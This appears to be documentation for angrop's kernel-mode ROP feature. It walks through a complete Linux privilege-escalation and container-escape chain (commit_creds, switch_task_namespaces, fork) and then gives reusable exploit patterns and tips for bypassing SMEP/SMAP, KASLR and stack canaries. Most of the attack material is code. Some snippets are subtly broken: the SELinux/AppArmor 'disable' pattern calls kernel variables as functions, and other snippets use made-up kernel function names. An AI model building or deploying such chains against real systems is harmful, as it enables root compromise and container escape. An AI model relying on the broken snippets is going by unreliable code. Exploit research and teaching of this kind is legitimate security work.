Angrop supports kernel-mode ROP for Linux kernel exploitation, allowing you to build privilege escalation chains and escape restricted environments. This guide demonstrates kernel ROP using a real-world example.
Kernel Mode Configuration
To enable kernel-mode ROP analysis, use the kernel_mode=True parameter:
import angr
import angrop
proj = angr.Project("./vmlinux_sym")
rop = proj.analyses.ROP(
kernel_mode=True,
fast_mode=False,
only_check_near_rets=False,
max_block_size=12
)
Kernel-Specific Configuration
kernel_mode=True - Enable kernel-specific analysis
fast_mode=False - Don’t skip complex gadgets (kernel has many)
only_check_near_rets=False - Search more thoroughly for gadgets
max_block_size=12 - Allow longer gadgets common in kernel code
Kernel ROP chains typically require a kernel image with symbols (vmlinux with debug symbols or vmlinux_sym). Without symbols, you’ll need to manually identify function addresses.
Real-World Example: Linux Kernel Privilege Escalation
This example from angrop’s test suite (examples/linux_escape_chain/solve.py) demonstrates a complete kernel privilege escalation exploit:
import os
import time
from multiprocessing import cpu_count
import angr
import angrop
# Load Linux kernel binary
proj = angr.Project("./vmlinux_sym")
rop = proj.analyses.ROP(
fast_mode=False,
only_check_near_rets=False,
max_block_size=12,
kernel_mode=True
)
cpu_num = cpu_count()
cache = "/tmp/linux_gadget_cache"
# Find or load gadgets (this takes time for kernel binaries!)
start = time.time()
if os.path.exists(cache):
rop.load_gadgets(cache, optimize=False)
else:
rop.find_gadgets(processes=cpu_num, optimize=False)
rop.save_gadgets(cache)
print(f"Gadget finding time: {time.time() - start}s")
# Optimize separately (also time-consuming)
start = time.time()
rop.optimize(processes=cpu_num)
print(f"Graph optimization time: {time.time() - start}s")
# Kernel symbol addresses (from /proc/kallsyms or vmlinux)
init_cred = 0xffffffff8368b220
init_nsproxy = 0xffffffff8368ad00
# Build privilege escalation chain
start = time.time()
chain = rop.func_call("commit_creds", [init_cred]) + \
rop.func_call("find_task_by_vpid", [1]) + \
rop.move_regs(rdi='rax') + \
rop.set_regs(rsi=init_nsproxy, preserve_regs={'rdi'}) + \
rop.func_call("switch_task_namespaces", [], preserve_regs={'rdi', 'rsi'}) + \
rop.func_call('__x64_sys_fork', []) + \
rop.func_call('msleep', [0xffffffff])
print(f"Chain generation time: {time.time() - start}s")
chain.pp()
chain.print_payload_code()
From the example’s documentation:
On a 16-core machine:
- 404s to analyze the gadgets
- 10s to optimize the graph
- 0.7s to generate the chain
Kernel gadget finding is very slow for full kernel images. Always use gadget caching with save_gadgets() and load_gadgets(). Finding gadgets once and reusing the cache saves hours of computation.
Understanding the Privilege Escalation Chain
Let’s break down each step of the kernel escape chain:
Escalate to root privileges
rop.func_call("commit_creds", [init_cred])
The commit_creds() function installs new credentials. By passing init_cred (the kernel’s init process credentials), we gain root privileges.What it does: Sets current process credentials to root (UID 0, GID 0, full capabilities)Find the init process
rop.func_call("find_task_by_vpid", [1])
Finds the task_struct for PID 1 (init process). Returns a pointer in rax.Why: The init process has full access to all namespaces, which we need for escaping containers.Move task pointer to argument register
Moves the task_struct pointer from rax (return value) to rdi (first argument).Why: We need this pointer as an argument to the next function call. Set up namespace pointer
rop.set_regs(rsi=init_nsproxy, preserve_regs={'rdi'})
Sets rsi to point to init’s namespace proxy while preserving the task pointer in rdi.Why: switch_task_namespaces() needs both the task and the new namespace.Switch to init's namespaces
rop.func_call("switch_task_namespaces", [], preserve_regs={'rdi', 'rsi'})
Calls switch_task_namespaces() using the preserved register values as arguments.Why: Escapes container namespace isolation by adopting init’s namespaces (network, mount, PID, etc.)Fork to stabilize
rop.func_call('__x64_sys_fork', [])
Creates a new process with our escalated privileges.Why: Forks before the exploit process dies, ensuring a privileged process survives.Keep exploit alive
rop.func_call('msleep', [0xffffffff])
Sleeps for a very long time (0xffffffff milliseconds ≈ 49 days).Why: Prevents the ROP chain from returning and potentially crashing. The forked process can be accessed separately.
Key Kernel ROP Techniques
1. Calling Kernel Functions
In kernel mode, you call kernel functions directly by name or address:
# By symbol name (requires symbols in binary)
chain = rop.func_call("commit_creds", [cred_ptr])
# By address (works without symbols)
chain = rop.func_call(0xffffffff8114d660, [cred_ptr])
2. Using Kernel Structures
Kernel exploits often manipulate kernel data structures:
# Addresses from /proc/kallsyms or kernel debug info
init_cred = 0xffffffff8368b220 # struct cred *init_cred
init_nsproxy = 0xffffffff8368ad00 # struct nsproxy *init_nsproxy
init_task = 0xffffffff8368a000 # struct task_struct init_task
# Use them in your exploit
chain = rop.func_call("commit_creds", [init_cred])
3. Preserving Registers Across Kernel Calls
Kernel function calls often need to pass return values or maintain state:
# Get task_struct pointer, use it in multiple calls
chain = rop.func_call("current_task", [])
chain += rop.move_regs(rbx='rax') # Save to non-volatile register
chain += rop.func_call("modify_task", [], preserve_regs={'rbx'})
chain += rop.func_call("finalize_task", [], preserve_regs={'rbx'})
Kernel calling conventions are the same as userspace on x86_64: rdi, rsi, rdx, rcx, r8, r9, then stack. However, some kernel-internal functions may use non-standard conventions.
Finding Kernel Symbol Addresses
Method 1: /proc/kallsyms (Live System)
# On the target system (requires root or kptr_restrict=0)
$ sudo cat /proc/kallsyms | grep -E "commit_creds|init_cred"
ffffffff8368b220 D init_cred
ffffffff8114d660 T commit_creds
Method 2: System.map
# From kernel build directory or /boot
$ grep -E "commit_creds|init_cred" /boot/System.map-$(uname -r)
ffffffff8368b220 D init_cred
ffffffff8114d660 T commit_creds
Method 3: Kernel Binary Symbols
import angr
proj = angr.Project("./vmlinux_sym")
# Look up symbols
commit_creds = proj.loader.find_symbol("commit_creds").rebased_addr
init_cred = proj.loader.find_symbol("init_cred").rebased_addr
print(f"commit_creds: {hex(commit_creds)}")
print(f"init_cred: {hex(init_cred)}")
Common Kernel Exploit Patterns
Pattern 1: Simple Privilege Escalation
# Just get root
init_cred = 0xffffffff8368b220
chain = rop.func_call("commit_creds", [init_cred])
chain += rop.func_call("__x64_sys_fork", [])
Pattern 2: Namespace Escape
# Escape container by switching namespaces
init_nsproxy = 0xffffffff8368ad00
chain = rop.func_call("find_task_by_vpid", [1])
chain += rop.move_regs(rdi='rax')
chain += rop.set_regs(rsi=init_nsproxy, preserve_regs={'rdi'})
chain += rop.func_call("switch_task_namespaces", [], preserve_regs={'rdi', 'rsi'})
Pattern 3: Disable Security Features
# Disable SELinux/AppArmor
chain = rop.func_call("selinux_enforcing", [0]) # Disable SELinux
chain += rop.func_call("apparmor_enabled", [0]) # Disable AppArmor
chain += rop.func_call("commit_creds", [init_cred])
Pattern 4: Return to Userspace
# After privilege escalation, return to userspace
# This requires setting up iret frame or similar
# (Complex - typically done with KPTI trampolines)
Returning from kernel to userspace after ROP requires careful setup of CPU state (CS, SS, RFLAGS, RSP, RIP). Modern kernels with KPTI require using kernel page table trampolines. This is advanced and kernel-version specific.
Kernel ROP Challenges
1. SMEP/SMAP
Supervisor Mode Execution Prevention and Supervisor Mode Access Prevention prevent the kernel from executing or accessing userspace memory.
Solutions:
- Use kernel-only ROP (no userspace gadgets)
- Disable SMEP/SMAP via CR4 register manipulation
- Use kernel gadgets exclusively
# Angrop with kernel_mode=True automatically uses only kernel gadgets
rop = proj.analyses.ROP(kernel_mode=True)
2. KASLR
Kernel Address Space Layout Randomization randomizes kernel base address.
Solutions:
- Leak kernel addresses first
- Use kernel pointer disclosures
- Exploit
/proc/kallsyms if available
- Use relative offsets from leaked addresses
3. Stack Canaries
Kernel stack canaries protect against buffer overflows.
Solutions:
- Leak canary values
- Bypass via other primitives (use-after-free, etc.)
- Overwrite canary with correct value
4. Limited Gadgets
Kernel binaries may have fewer useful gadgets than userspace.
Solutions:
- Use
fast_mode=False to find more gadgets
- Increase
max_block_size for longer gadget sequences
- Use
only_check_near_rets=False for thorough search
Gadget Finding
import os
from multiprocessing import cpu_count
cache_file = "/tmp/vmlinux_gadgets.cache"
if os.path.exists(cache_file):
# Load cached gadgets (seconds)
rop.load_gadgets(cache_file, optimize=False)
else:
# Find gadgets (hours)
rop.find_gadgets(processes=cpu_count(), optimize=False)
rop.save_gadgets(cache_file)
# Optimize separately
rop.optimize(processes=cpu_count())
Kernel gadget finding tips:
- Use maximum CPU cores available
- Cache gadgets - finding them takes hours for full kernels
- Separate optimization from finding for better progress tracking
- Consider using kernel modules instead of full kernel if possible
Kernel Module ROP
For faster development, analyze vulnerable kernel modules instead of the entire kernel:
# Load just the vulnerable module
proj = angr.Project("./vulnerable.ko")
rop = proj.analyses.ROP(kernel_mode=True)
rop.find_gadgets() # Much faster than full kernel
Best Practices
- Always cache gadgets - Kernel gadget finding is extremely slow
- Use symbols when possible - Much easier than raw addresses
- Test incrementally - Build and verify each stage of the exploit
- Understand kernel internals - Know what functions do before calling them
- Check kernel version compatibility - Offsets change between versions
- Handle cleanup - Fork or sleep to prevent crashes after ROP
- Plan for KASLR - Design exploits to work with leaked addresses
Debugging Kernel ROP Chains
# Print detailed chain information
chain.pp()
# Generate exploit code
chain.print_payload_code()
# Check chain length
print(f"Chain length: {len(chain)} bytes")
print(f"Number of gadgets: {len(chain._gadgets)}")
# Verify register preservation
for i, gadget in enumerate(chain._gadgets):
print(f"Gadget {i}: changes {gadget.changed_regs}")
Advanced: Custom Kernel Configurations
# For specific kernel configurations
rop = proj.analyses.ROP(
kernel_mode=True,
fast_mode=False, # Find all gadgets
only_check_near_rets=False, # Thorough search
max_block_size=20, # Very long gadgets
stack_gsize=120, # Allow larger stack changes
cond_br=True # Include conditional branches
)
Increasing max_block_size, stack_gsize, and enabling cond_br significantly increases gadget finding time but may discover more powerful gadgets.
Resources
Next Steps
- Syscalls - Understanding kernel syscall interface
- Function Calls - Techniques applicable to kernel functions
- Badbytes - Handling restricted characters in kernel exploits